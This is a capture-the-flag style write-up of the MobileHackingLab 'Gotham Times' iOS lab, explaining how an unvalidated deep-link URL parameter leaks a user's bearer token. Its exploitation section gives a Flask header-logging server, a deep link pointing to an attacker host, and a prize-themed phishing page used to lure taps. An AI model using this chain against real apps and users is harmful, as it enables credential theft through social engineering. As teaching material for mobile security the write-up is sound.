Introduction
Gotham Times is an iOS lab from MobileHackingLab where you exploit a vulnerability in the app deep links to leak sensitive information.
Methodology
- Explore the application
- Review source code
- Review network traffic
- Identify vulnerability
- Create exploit
- Exploitation
- Final thoughts
Explore the application
The application is fairly small, only consisting of three screens.
The first screen is a login screen, where you can use test/test
to log into the application.

After logging in , you are navigated to the Latest News screen, which displays various news articles. The content is static, and you can not click through to a full article.

The final screen is the profile screen which displays your currently logged-in user and also allows you to log out.

Since we already know the lab contains a deep link vulnerability, which we derived from the lab description, let’s look at the source code next.
Review source code
First, let’s check the Info.plist
file to see if we can find anything related to the URL schemes for the application.
plistutil -p Payload/Gotham\ Times.app/Info.plist
We can see information about the URL schemes:
"CFBundleURLTypes": [
{
"CFBundleTypeRole": "Viewer",
"CFBundleURLName": "com.mobilehackinglab.Gotham-Times",
"CFBundleURLSchemes": [
"gothamtimes"
]
}
],
And also, which components will handle the deep links:
"UIApplicationSceneManifest": {
"UIApplicationSupportsMultipleScenes": false,
"UISceneConfigurations": {
"UIWindowSceneSessionRoleApplication": [
{
"UISceneConfigurationName": "Default Configuration",
"UISceneDelegateClassName": "Gotham_Times.SceneDelegate",
"UISceneStoryboardFile": "Main"
}
]
}
},
Next we will look at the source in Ghidra to see if we can identify what Gotham_Times.SceneDelegate
does.
/* Gotham_Times.SceneDelegate.scene(_: __C.UIScene, openURLContexts:
Swift.Set<__C.UIOpenURLContext>) -> () */
void __thiscall
Gotham_Times::SceneDelegate::scene(SceneDelegate *this,long param_1,undefined *openURLContexts)
{
long lVar1;
String SVar2;
SceneDelegate *pSVar3;
StaticString SVar4;
code *pcVar5;
bool bVar6;
long lVar7;
undefined *puVar8;
Iterator IVar9;
URL UVar10;
long *plVar11;
URL UVar12;
UIStoryboard *pUVar13;
UIWindow *pUVar14;
NewsController *pNVar15;
Set SVar16;
char *pcVar17;
void *pvVar18;
void *in_x5;
long extraout_x8;
long extraout_x8_00;
long extraout_x8_01;
undefined1 auVar19 [16];
tuple2.conflict1 tVar20;
String SVar21;
String SVar22;
String SVar23;
String SVar24;
undefined1 auStack_3b0 [8];
undefined8 uStack_3a8;
undefined4 auStack_3a0 [4];
UIStoryboard *local_390;
UIStoryboard *local_388;
UIStoryboard *local_380;
UIStoryboard *local_378;
UIWindow **local_370;
UIWindow *local_368;
UIWindow **local_360;
UIWindow *local_358;
undefined4 local_34c;
void *local_348;
UIStoryboard *local_340;
NSString *local_338;
UIStoryboard *local_330;
UIStoryboard *local_328;
undefined8 local_320;
UINavigationController *local_318;
uint local_30c;
char *local_308;
void *local_300;
void *local_2f8;
undefined *local_2f0;
char *local_2e8;
void *local_2e0;
uint local_2d4;
char *local_2d0;
char *local_2c8;
void *local_2c0;
void *local_2b8;
undefined **local_2b0;
uint local_2a8;
uint local_2a4;
long *local_2a0;
undefined8 local_298;
undefined *local_290;
char *local_288;
char *local_280;
char *local_278;
char *local_270;
protocol_t *local_268;
undefined *local_260;
undefined *local_258;
code *local_250;
code *local_248;
char *local_240;
undefined *local_238;
long local_230;
void *local_228;
undefined *local_220;
undefined *local_218;
long local_210;
undefined8 local_208;
undefined1 *local_200;
long local_1f8;
long local_1f0;
long local_1e8;
long local_1e0;
SceneDelegate *local_1d8;
undefined *local_1d0;
ulong *local_1c8;
StaticString local_1c0;
char *local_1b8;
char *local_1b0;
Set local_1a8;
undefined *local_1a0;
long local_198;
ulong local_190;
undefined *local_188;
ulong local_180;
undefined *local_178;
ulong local_170;
long local_168;
ulong local_160;
long local_158;
long local_150;
long local_148;
char *local_140;
void *local_138;
UIStoryboard *local_130;
UIWindow *local_128;
UIWindow *local_120;
UINavigationController *local_118;
UIStoryboard *local_110;
UIStoryboard *local_108;
undefined8 uStack_100;
long local_f8;
char *local_f0;
void *local_e8;
char *local_e0;
void *local_d8;
undefined *local_d0;
long local_c8;
char *local_c0;
void *local_b8;
undefined *local_b0;
undefined *local_a8;
ulong auStack_a0 [5];
long local_78;
SceneDelegate *local_70;
undefined *local_68;
long local_60;
undefined1 auStack_58 [40];
undefined7 extraout_var;
local_1d0 = PTR_$$type_metadata_for_Any_100028708 + 8;
local_1c8 = (ulong *)PTR__swift_isaMask_100028640;
local_1c0.unknown = "Fatal error";
local_1b8 = "Unexpectedly found nil while unwrapping an Optional value";
local_1b0 = "Gotham_Times/SceneDelegate.swift";
local_60 = 0;
local_68 = (undefined *)0x0;
local_70 = (SceneDelegate *)0x0;
local_78 = 0;
local_1d8 = this;
local_1a8.unknown = openURLContexts;
local_150 = param_1;
_memset(auStack_a0,0,0x28);
local_b0 = (undefined *)0x0;
local_e0 = (char *)0x0;
local_d8 = (void *)0x0;
local_108 = (UIStoryboard *)0x0;
local_110 = (UIStoryboard *)0x0;
local_118 = (UINavigationController *)0x0;
local_130 = (UIStoryboard *)0x0;
local_1a0 = (undefined *)Foundation::URL::typeMetadataAccessor();
local_198 = *(long *)(local_1a0 + -8);
local_190 = *(long *)(local_198 + 0x40) + 0xfU & 0xfffffffffffffff0;
lVar7 = local_150;
SVar16.unknown = local_1a8.unknown;
(*(code *)PTR____chkstk_darwin_1000281f0)();
puVar8 = (undefined *)((long)&local_390 - local_190);
local_180 = extraout_x8 + 0xfU & 0xfffffffffffffff0;
local_188 = puVar8;
(*(code *)PTR____chkstk_darwin_1000281f0)();
puVar8 = puVar8 + -local_180;
local_170 = extraout_x8_00 + 0xfU & 0xfffffffffffffff0;
local_178 = puVar8;
(*(code *)PTR____chkstk_darwin_1000281f0)();
lVar1 = (long)puVar8 - local_170;
local_160 = extraout_x8_01 + 0xfU & 0xfffffffffffffff0;
local_168 = lVar1;
(*(code *)PTR____chkstk_darwin_1000281f0)();
lVar1 = lVar1 - local_160;
local_158 = lVar1;
local_70 = this;
local_68 = SVar16.unknown;
local_60 = lVar7;
_objc_retain();
puVar8 = &_OBJC_CLASS_$_UIWindowScene;
_objc_opt_self(&_OBJC_CLASS_$_UIWindowScene);
lVar7 = local_150;
_swift_dynamicCastObjCClass(local_150,puVar8);
local_1e0 = lVar7;
local_148 = lVar7;
if (lVar7 == 0) {
local_1e8 = 0;
_objc_release(local_150);
local_1e0 = local_1e8;
}
local_1f0 = local_1e0;
if (local_1e0 != 0) {
local_1f8 = local_1e0;
local_210 = local_1e0;
local_78 = local_1e0;
_swift_bridgeObjectRetain(local_1a8.unknown);
auVar19 = __C::UIOpenURLContext::typeMetadataAccessor();
local_208 = auVar19._0_8_;
__C::UIOpenURLContext::$lazy_protocol_witness_table_accessor();
local_200 = auStack_58;
Swift::Set::$makeIterator(local_1a8);
_memcpy(auStack_a0,local_200,0x28);
while( true ) {
IVar9.unknown =
(undefined *)
___swift_instantiateConcreteTypeFromMangledName
(&
$$demangling_cache_variable_for_type_metadata_for_Swift.Set<__C.UIOpenURLConte xt>.Iterator
);
Swift::Set::Iterator::$next(IVar9);
UVar12.unknown = local_178;
local_218 = local_a8;
if (local_a8 == (undefined *)0x0) break;
local_220 = local_a8;
local_260 = local_a8;
local_b0 = local_a8;
tVar20 = Swift::$_allocateUninitializedArray(1);
local_2a0 = (long *)tVar20.1;
local_298 = tVar20._0_8_;
local_268 = &objc::protocol_t::WKUIDelegate;
pcVar17 = "URL";
UVar10.unknown = local_260;
_objc_msgSend();
_objc_retainAutoreleasedReturnValue();
local_290 = UVar10.unknown;
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
local_2a0[3] = (long)local_1a0;
plVar11 = ___swift_allocate_boxed_opaque_existential_0(local_2a0,(long *)pcVar17);
(**(code **)(local_198 + 0x20))(plVar11,local_158,local_1a0);
local_270 = (char *)Swift::$_finalizeUninitializedArray(local_298);
_objc_release(local_290);
SVar21 = Swift::$print();
local_278 = (char *)SVar21.bridgeObject;
local_288 = SVar21.str;
SVar21 = Swift::$print();
pcVar17 = (char *)SVar21.bridgeObject;
SVar22.bridgeObject = local_288;
SVar22.str = local_270;
SVar21.bridgeObject = SVar21.str;
SVar21.str = local_278;
local_280 = pcVar17;
Swift::$print(SVar22,SVar21);
_swift_bridgeObjectRelease(local_280);
_swift_bridgeObjectRelease(local_278);
_swift_bridgeObjectRelease(local_270);
UVar10.unknown = local_260;
_objc_msgSend(local_260,local_268[0x2e].instanceProperties);
_objc_retainAutoreleasedReturnValue();
local_258 = UVar10.unknown;
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
local_250 = *(code **)(local_198 + 0x10);
lVar7 = local_168;
(*local_250)(UVar12.unknown,local_168,local_1a0);
Foundation::URL::$get_host(UVar12);
local_248 = *(code **)(local_198 + 8);
local_238 = UVar12.unknown;
local_230 = lVar7;
(*local_248)(local_178,local_1a0);
(*local_248)(local_168,local_1a0);
_swift_bridgeObjectRetain(local_230);
SVar21 = Swift::String::init("open",4,1);
local_228 = SVar21.bridgeObject;
local_240 = SVar21.str;
_swift_bridgeObjectRetain();
local_d0 = local_238;
local_c8 = local_230;
local_c0 = local_240;
local_b8 = local_228;
if (local_230 == 0) {
if (local_228 != (void *)0x0) goto LAB_1000195a4;
$$outlined_destroy_of_Swift.String?((long)&local_d0);
local_2a4 = 1;
}
else {
$$outlined_init_with_copy_of_Swift.String?(&local_d0,&local_140);
if (local_b8 == (void *)0x0) {
$$outlined_destroy_of_Swift.String((long)&local_140);
LAB_1000195a4:
$$outlined_destroy_of_(Swift.String?,Swift.String?)((long)&local_d0);
local_2a4 = 0;
}
else {
local_2d0 = local_140;
local_2b8 = local_138;
_swift_bridgeObjectRetain();
local_2c8 = local_c0;
local_2b0 = &local_d0;
local_2c0 = local_b8;
_swift_bridgeObjectRetain();
SVar2.bridgeObject = local_2c0;
SVar2.str = local_2c8;
SVar23.bridgeObject = local_2b8;
SVar23.str = local_2d0;
SVar24.bridgeObject = in_x5;
SVar24.str = pcVar17;
bVar6 = Swift::String::==_infix(SVar23,SVar2,SVar24);
local_2a8 = (uint)CONCAT71(extraout_var,bVar6);
_swift_bridgeObjectRelease(local_2c0);
_swift_bridgeObjectRelease(local_2b8);
_swift_bridgeObjectRelease(local_2c0);
_swift_bridgeObjectRelease(local_2b8);
$$outlined_destroy_of_Swift.String?((long)local_2b0);
local_2a4 = local_2a8;
}
}
local_2d4 = local_2a4;
_swift_bridgeObjectRelease(local_228);
_swift_bridgeObjectRelease(local_230);
_objc_release(local_258);
UVar12.unknown = local_188;
if ((local_2d4 & 1) != 0) {
UVar10.unknown = local_260;
_objc_msgSend(local_260,"URL");
_objc_retainAutoreleasedReturnValue();
local_2f0 = UVar10.unknown;
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
(*local_250)(UVar12.unknown,local_158,local_1a0);
SVar21 = Foundation::URL::get_absoluteString(UVar12);
pSVar3 = local_1d8;
local_2f8 = SVar21.bridgeObject;
local_308 = SVar21.str;
(*local_248)(local_188,local_1a0);
(*local_248)(local_158,local_1a0);
SVar21 = Swift::String::init("url",3,1);
local_300 = SVar21.bridgeObject;
pcVar17 = local_308;
pvVar18 = local_2f8;
(**(code **)((*(ulong *)pSVar3 & *local_1c8) + 0x78))(local_308,local_2f8,SVar21.str);
local_2e8 = pcVar17;
local_2e0 = pvVar18;
_swift_bridgeObjectRelease(local_300);
_swift_bridgeObjectRelease(local_2f8);
_objc_release(local_2f0);
local_e0 = local_2e8;
local_d8 = local_2e0;
local_f0 = local_2e8;
local_e8 = local_2e0;
$$outlined_init_with_copy_of_Swift.String?(&local_f0,&uStack_100);
bVar6 = local_f8 != 0;
if (bVar6) {
$$outlined_destroy_of_Swift.String?((long)&uStack_100);
}
local_30c = (uint)bVar6;
if (local_30c != 0) {
local_320 = 0;
auVar19 = __C::UIStoryboard::typeMetadataAccessor();
local_34c = 1;
SVar21 = Swift::String::init("Main",4,1);
local_340 = __C::UIStoryboard::$__allocating_init
(auVar19._0_8_,SVar21.str,SVar21.bridgeObject,local_320);
local_108 = local_340;
SVar21 = Swift::String::init("TabbedControllerID",0x12,(byte)local_34c & 1);
local_348 = SVar21.bridgeObject;
local_338 = (extension_Foundation)::Swift::String::_bridgeToObjectiveC();
_swift_bridgeObjectRelease(local_348);
pUVar13 = local_340;
_objc_msgSend(local_340,"instantiateViewControllerWithIdentifier:",local_338);
_objc_retainAutoreleasedReturnValue();
local_330 = pUVar13;
_objc_release(local_338);
puVar8 = &_OBJC_CLASS_$_UITabBarController;
_objc_opt_self(&_OBJC_CLASS_$_UITabBarController);
pUVar13 = local_330;
_swift_dynamicCastObjCClassUnconditional(local_330,puVar8,0,0);
local_328 = pUVar13;
local_110 = pUVar13;
_objc_msgSend();
auVar19 = __C::UINavigationController::typeMetadataAccessor();
_objc_retain(local_328,auVar19._8_8_);
local_318 = __C::UINavigationController::__allocating_init(auVar19._0_8_,local_328);
local_118 = local_318;
auVar19 = __C::UIWindow::typeMetadataAccessor();
_objc_retain(local_210,auVar19._8_8_);
pUVar14 = __C::UIWindow::__allocating_init(auVar19._0_8_,local_210);
(**(code **)((*(ulong *)local_1d8 & *local_1c8) + 0x60))();
(**(code **)((*(ulong *)local_1d8 & *local_1c8) + 0x58))();
local_120 = pUVar14;
if (pUVar14 == (UIWindow *)0x0) {
pUVar14 = (UIWindow *)$$outlined_destroy_of___C.UIWindow?(&local_120);
}
else {
local_360 = &local_120;
local_358 = pUVar14;
_objc_retain();
$$outlined_destroy_of___C.UIWindow?(local_360);
_objc_retain(local_318);
_objc_msgSend(local_358,"setRootViewController:",local_318);
_objc_release(local_318);
pUVar14 = local_358;
_objc_release();
}
(**(code **)((*(ulong *)local_1d8 & *local_1c8) + 0x58))();
local_128 = pUVar14;
if (pUVar14 == (UIWindow *)0x0) {
$$outlined_destroy_of___C.UIWindow?(&local_128);
}
else {
local_370 = &local_128;
local_368 = pUVar14;
_objc_retain();
$$outlined_destroy_of___C.UIWindow?(local_370);
_objc_msgSend(local_368,"makeKeyAndVisible");
_objc_release(local_368);
}
pUVar13 = local_328;
_objc_msgSend(local_328,"selectedViewController");
_objc_retainAutoreleasedReturnValue();
pcVar17 = local_1b8;
SVar4.unknown = local_1c0.unknown;
local_378 = pUVar13;
if (pUVar13 == (UIStoryboard *)0x0) {
*(undefined1 *)(lVar1 + -0x20) = 2;
*(undefined8 *)(lVar1 + -0x18) = 0x2b;
*(undefined4 *)(lVar1 + -0x10) = 0;
Swift::_assertionFailure
(SVar4,(StaticString)0xb,(StaticString)0x2,(__uint64)pcVar17,0x39);
/* WARNING: Does not return */
pcVar5 = (code *)SoftwareBreakpoint(1,0x1000199cc);
(*pcVar5)();
}
local_390 = pUVar13;
local_380 = pUVar13;
pNVar15 = NewsController::typeMetadataAccessor();
pUVar13 = local_390;
_swift_dynamicCastClassUnconditional(local_390,pNVar15,0,0);
local_388 = pUVar13;
local_130 = pUVar13;
_swift_bridgeObjectRetain(local_2e0);
(**(code **)((*(ulong *)pUVar13 & *local_1c8) + 0x88))(local_2e8,local_2e0);
(**(code **)((*(ulong *)local_388 & *local_1c8) + 0xa0))();
_objc_release(local_388);
_objc_release(local_318);
_objc_release(local_328);
_objc_release(local_340);
}
_swift_bridgeObjectRelease(local_2e0);
}
_objc_release(local_260);
}
$$outlined_destroy_of_Swift.Set<>.Iterator(auStack_a0);
_objc_release(local_210);
}
return;
}
A high-level summary of what the code above does:
As an example, if we use gothamtimes://open?url=mobilehackinglab.com
- Triggers when a deep link is used to open the application
- Checks that the deep link host section equals
open
- Checks that the deep link contains a
url
parameter - Parses the
url
parameter and opens up the page in a web view
Let’s try this ourselves:
frida -U -f "com.mobilehackinglab.Gotham-Times" -l ../hide-keyboard.js -l ../open-url.js
Spawning `com.mobilehackinglab.Gotham-Times`...
Spawned `com.mobilehackinglab.Gotham-Times`. Resuming main thread!
[iPhone::com.mobilehackinglab.Gotham-Times ]->
[iPhone::com.mobilehackinglab.Gotham-Times ]->openURL("gothamtimes://open?url=mobilehackinglab.com");
Something broke, we get a blank screen.

Let’s take a look at the network traffic to see what happens when you try to load a custom URL using a deep link.
Review network traffic
Executing the previous deep link, gothamtimes://open?url=mobilehackinglab.com
, and observing the Burp proxy, it shows no connections being made.
Let’s modify it by adding the protocol to the URL as well:
openURL("gothamtimes://open?url=https://www.mobilehackinglab.com");
We still see a blank screen in the application, but in Burp we see some traffic!
GET / HTTP/1.1
Host: www.mobilehackinglab.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Sec-Fetch-Site: none
Sec-Fetch-Dest: document
Accept-Language: en-GB,en;q=0.9
Flag: FLAG{d33ply-l1nk3d(t0-w3bk1t}
Sec-Fetch-Mode: navigate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148
Authorization: Bearer <YOUR_TOKEN>
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
The app took the URL from our deep link and just executed it.
What makes it worse is that it also sent the auth token along with the request causing a data leak.
If we were to host our own server, construct a link containing our deep link that points to our server, and get a user to tap it, we would receive their leaked token in our server logs.
Identify vulnerability
The vulnerability is an open redirect vulnerability which also leaks sensitive information.
The application does not have an allow list of URLs it is allowed to open, so it will open any URL you pass in the deep link.
By using a deep link with a malicious server address, we can trick the user into tapping the link and leaking their auth token.
Create exploit
For us to exploit this we will need to do the following:
- A server we have control over so that we can view the logs
- A deep link containing our server URL
- A way to get the user to tap a link that will execute our deep link and leak their token
Server
For the server component, we are going to write a basic server using Python and the Flask framework.
fake_server.py
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def home():
print(request.headers)
return {}
This will expose an API with a / endpoint that will print out the headers it receives.
Deep link
For our attack to work we will need to create a new deep link containing our server address.
gothamtimes://open?url=http://192.168.2.5:9090
User link
And finally, we can create a malicious website that will trick our user into clicking our link.
For this we can use our existing API server that we already have; we will just add another endpoint.
@app.route("/congratulations")
def congratulations():
return """
<html>
<head>
<title>
Congratulations!
</title>
</head>
<body>
Congratulations! You have won a super duper cool prize, tap <a href="gothamtimes://open?url=http://192.168.2.5:9090">HERE</a> to open the Gotham Times app to read the local news article and find out how to claim your prize!
</body>
</html>
"""
We can use social engineering to get the user to open the page that we hosted, and when they tap on the link it will open up the app, which will connect to our server and leak their auth token.
Exploitation
- Run our server
flask --app fake_server run --host=0.0.0.0 --port=9090
* Serving Flask app 'fake_server'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:9090
* Running on http://192.168.2.5:9090
Press CTRL+C to quit
- Use social engineering to make the user open up the page hosted on our server on their mobile device:

- After the user taps the link and the app opens we observe the server logs:

Host: 192.168.2.5:9090
Connection: keep-alive
Flag: FLAG{d33ply-l1nk3d(t0-w3bk1t}
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148
Authorization: Bearer <USER_AUTH_TOKEN>
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
192.168.2.5 - - [01/Aug/2025 16:33:31] "GET / HTTP/1.1" 200 -
Final thoughts
Debugging the deep link in this lab was challenging and time consuming.
The fact that the app only shows a blank screen when someone does not work also did not help.
Eventually we were able to craft a payload that works, and the final exploit chain was fun to set up.
The lab provides insight into how important it is to do proper validation on user input but and also lock down resources your application is allowed to connect to.